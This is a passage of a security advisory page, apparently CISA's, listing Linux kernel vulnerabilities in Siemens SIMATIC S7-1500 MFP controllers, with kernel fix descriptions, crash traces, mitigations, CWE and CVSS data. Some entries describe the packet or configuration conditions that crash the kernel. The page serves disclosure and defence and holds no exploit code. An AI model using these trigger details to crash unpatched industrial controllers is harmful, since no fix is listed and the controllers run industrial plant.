RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246 RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660 RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000 FS: 00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0 Call Trace: ets_qdisc_change+0x870/0xf40 [sch_ets] qdisc_create+0x12b/0x540 tc_modify_qdisc+0x6d7/0xbd0 rtnetlink_rcv_msg+0x168/0x6b0 netlink_rcv_skb+0x5c/0x110 netlink_unicast+0x1d6/0x2b0 netlink_sendmsg+0x22e/0x470 ____sys_sendmsg+0x38a/0x3c0 ___sys_sendmsg+0x99/0xe0 __sys_sendmsg+0x8a/0xf0 do_syscall_64+0x111/0xf80 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f440b81c77e Code: 4d 89 d8 e8 d4 bc 00 00 4c 8b 5d f8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 11 c9 c3 0f 1f 80 00 00 00 00 48 8b 45 10 0f 05 c3 83 e2 39 83 fa 08 75 e7 e8 13 ff ff ff 0f 1f 00 f3 0f 1e fa RSP: 002b:00007fff951e4c10 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000000000481820 RCX: 00007f440b81c77e RDX: 0000000000000000 RSI: 00007fff951e4cd0 RDI: 0000000000000003 RBP: 00007fff951e4c20 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000202 R12: 00007fff951f4fa8 R13: 00000000699ddede R14: 00007f440bb01000 R15: 0000000000486980 Modules linked in: sch_ets(E) netdevsim(E) ---[ end trace 0000000000000000 ]--- RIP: 0010:ets_offload_change+0x11f/0x290 [sch_ets] Code: e4 45 31 ff eb 03 41 89 c7 41 89 cb 89 ce 83 f9 0f 0f 87 b7 00 00 00 45 8b 08 31 c0 45 01 cc 45 85 c9 74 09 41 6b c4 64 31 d2 &lt;41&gt; f7 f2 89 c2 44 29 fa 45 89 df 41 83 fb 0f 0f 87 c7 00 00 00 44 RSP: 0018:ffffd0a180d77588 EFLAGS: 00010246 RAX: 00000000ffffff38 RBX: ffff8d3d482ca000 RCX: 0000000000000000 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffd0a180d77660 RBP: ffffd0a180d77690 R08: ffff8d3d482ca2d8 R09: 00000000fffffffe R10: 0000000000000000 R11: 0000000000000000 R12: 00000000fffffffe R13: ffff8d3d472f2000 R14: 0000000000000003 R15: 0000000000000000 FS: 00007f440b6c2740(0000) GS:ffff8d3dc9803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000000003cdd2000 CR3: 0000000007b58002 CR4: 0000000000172ef0 Kernel panic - not syncing: Fatal exception Kernel Offset: 0x30000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) ---[ end Kernel panic - not syncing: Fatal exception ]--- Fix this using 64-bit integers for 'q_sum' and 'q_psum'.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23379">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23381</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: bridge: fix nd_tbl NULL dereference when IPv6 is disabled When booting with the 'ipv6.disable=1' parameter, the nd_tbl is never initialized because inet6_init() exits before ndisc_init() is called which initializes it. Then, if neigh_suppress is enabled and an ICMPv6 Neighbor Discovery packet reaches the bridge, br_do_suppress_nd() will dereference ipv6_stub-&gt;nd_tbl which is NULL, passing it to neigh_lookup(). This causes a kernel NULL pointer dereference. BUG: kernel NULL pointer dereference, address: 0000000000000268 Oops: 0000 [#1] PREEMPT SMP NOPTI [...] RIP: 0010:neigh_lookup+0x16/0xe0 [...] Call Trace: ? neigh_lookup+0x16/0xe0 br_do_suppress_nd+0x160/0x290 [bridge] br_handle_frame_finish+0x500/0x620 [bridge] br_handle_frame+0x353/0x440 [bridge] __netif_receive_skb_core.constprop.0+0x298/0x1110 __netif_receive_skb_one_core+0x3d/0xa0 process_backlog+0xa0/0x140 __napi_poll+0x2c/0x170 net_rx_action+0x2c4/0x3a0 handle_softirqs+0xd0/0x270 do_softirq+0x3f/0x60 Fix this by replacing IS_ENABLED(IPV6) call with ipv6_mod_enabled() in the callers. This is in essence disabling NS/NA suppression when IPv6 is disabled.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23381">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/824.html">CWE-824 Access of Uninitialized Pointer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23391</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: xt_CT: drop pending enqueued packets on template removal Templates refer to objects that can go away while packets are sitting in nfqueue refer to: - helper, this can be an issue on module removal. - timeout policy, nfnetlink_cttimeout might remove it. The use of templates with zone and event cache filter are safe, since this just copies values. Flush these enqueued packets in case the template rule gets removed.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23391">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23392</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: release flowtable after rcu grace period on error Call synchronize_rcu() after unregistering the hooks from error path, since a hook that already refers to this flowtable can be already registered, exposing this flowtable to packet path and nfnetlink_hook control plane. This error path is rare, it should only happen by reaching the maximum number hooks or by failing to set up to hardware offload, just call synchronize_rcu(). There is a check for already used device hooks by different flowtable that could result in EEXIST at this late stage. The hook parser can be updated to perform this check earlier to this error path really becomes rarely exercised. Uncovered by KASAN reported as use-after-free from nfnetlink_hook path when dumping hooks.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23392">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23397</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfnetlink_osf: validate individual option lengths in fingerprints nfnl_osf_add_callback() validates opt_num bounds and string NUL-termination but does not check individual option length fields. A zero-length option causes nf_osf_match_one() to enter the option matching loop even when foptsize sums to zero, which matches packets with no TCP options where ctx-&gt;optp is NULL: Oops: general protection fault KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] RIP: 0010:nf_osf_match_one (net/netfilter/nfnetlink_osf.c:98) Call Trace: nf_osf_match (net/netfilter/nfnetlink_osf.c:227) xt_osf_match_packet (net/netfilter/xt_osf.c:32) ipt_do_table (net/ipv4/netfilter/ip_tables.c:293) nf_hook_slow (net/netfilter/core.c:623) ip_local_deliver (net/ipv4/ip_input.c:262) ip_rcv (net/ipv4/ip_input.c:573) Additionally, an MSS option (kind=2) with length &lt; 4 causes out-of-bounds reads when nf_osf_match_one() unconditionally accesses optp[2] and optp[3] for MSS value extraction. While RFC 9293 section 3.2 specifies that the MSS option is always exactly 4 bytes (Kind=2, Length=4), the check uses "&lt; 4" rather than "!= 4" because lengths greater than 4 do not cause memory safety issues -- the buffer is guaranteed to be at least foptsize bytes by the ctx-&gt;optsize == foptsize check. Reject fingerprints where any option has zero length, or where an MSS option has length less than 4, at add time rather than trusting these values in the packet matching hot path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23397">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/130.html">CWE-130 Improper Handling of Length Parameter Inconsistency</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23398</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: icmp: fix NULL pointer dereference in icmp_tag_validation() icmp_tag_validation() unconditionally dereferences the result of rcu_dereference(inet_protos[proto]) without checking for NULL. The inet_protos[] array is sparse -- only about 15 of 256 protocol numbers have registered handlers. When ip_no_pmtu_disc is set to 3 (hardened PMTU mode) and the kernel receives an ICMP Fragmentation Needed error with a quoted inner IP header containing an unregistered protocol number, the NULL dereference causes a kernel panic in softirq context. Oops: general protection fault, probably for non-canonical address 0xdffffc0000000002: 0000 [#1] SMP KASAN NOPTI KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017] RIP: 0010:icmp_unreach (net/ipv4/icmp.c:1085 net/ipv4/icmp.c:1143) Call Trace: icmp_rcv (net/ipv4/icmp.c:1527) ip_protocol_deliver_rcu (net/ipv4/ip_input.c:207) ip_local_deliver_finish (net/ipv4/ip_input.c:242) ip_local_deliver (net/ipv4/ip_input.c:262) ip_rcv (net/ipv4/ip_input.c:573) __netif_receive_skb_one_core (net/core/dev.c:6164) process_backlog (net/core/dev.c:6628) handle_softirqs (kernel/softirq.c:561) Add a NULL check before accessing icmp_strict_tag_validation. If the protocol has no registered handler, return false since it cannot perform strict tag validation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23398">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23414</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tls: Purge async_hold in tls_decrypt_async_wait() The async_hold queue pins encrypted input skbs while the AEAD engine references their scatterlist data. Once tls_decrypt_async_wait() returns, every AEAD operation has completed and the engine no longer references those skbs, so they can be freed unconditionally. A subsequent patch adds batch async decryption to tls_sw_read_sock(), introducing a new call site that must drain pending AEAD operations and release held skbs. Move __skb_queue_purge(&amp;ctx-&gt;async_hold) into tls_decrypt_async_wait() so the purge is centralized and every caller -- recvmsg's drain path, the -EBUSY fallback in tls_do_decryption(), and the new read_sock batch path -- releases held skbs on synchronization without each site managing the purge independently. This fixes a leak when tls_strp_msg_hold() fails part-way through, after having added some cloned skbs to the async_hold queue. tls_decrypt_sg() will then call tls_decrypt_async_wait() to process all pending decrypts, and drop back to synchronous mode, but tls_sw_recvmsg() only flushes the async_hold queue when one record has been processed in "fully-async" mode, which may not be the case here. [pabeni@redhat.com: added leak comment]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23414">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23422</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: dpaa2-switch: Fix interrupt storm after receiving bad if_id in IRQ handler Commit 31a7a0bbeb00 ("dpaa2-switch: add bounds check for if_id in IRQ handler") introduces a range check for if_id to avoid an out-of-bounds access. If an out-of-bounds if_id is detected, the interrupt status is not cleared. This may result in an interrupt storm. Clear the interrupt status after detecting an out-of-bounds if_id to avoid the problem. Found by an experimental AI code review agent at Google.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23422">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/392.html">CWE-392 Missing Report of Error Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23434</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mtd: rawnand: serialize lock/unlock against other NAND operations nand_lock() and nand_unlock() call into chip-&gt;ops.lock_area/unlock_area without holding the NAND device lock. On controllers that implement SET_FEATURES via multiple low-level PIO commands, these can race with concurrent UBI/UBIFS background erase/write operations that hold the device lock, resulting in cmd_pending conflicts on the NAND controller. Add nand_get_device()/nand_release_device() around the lock/unlock operations to serialize them against all other NAND controller access.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23434">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
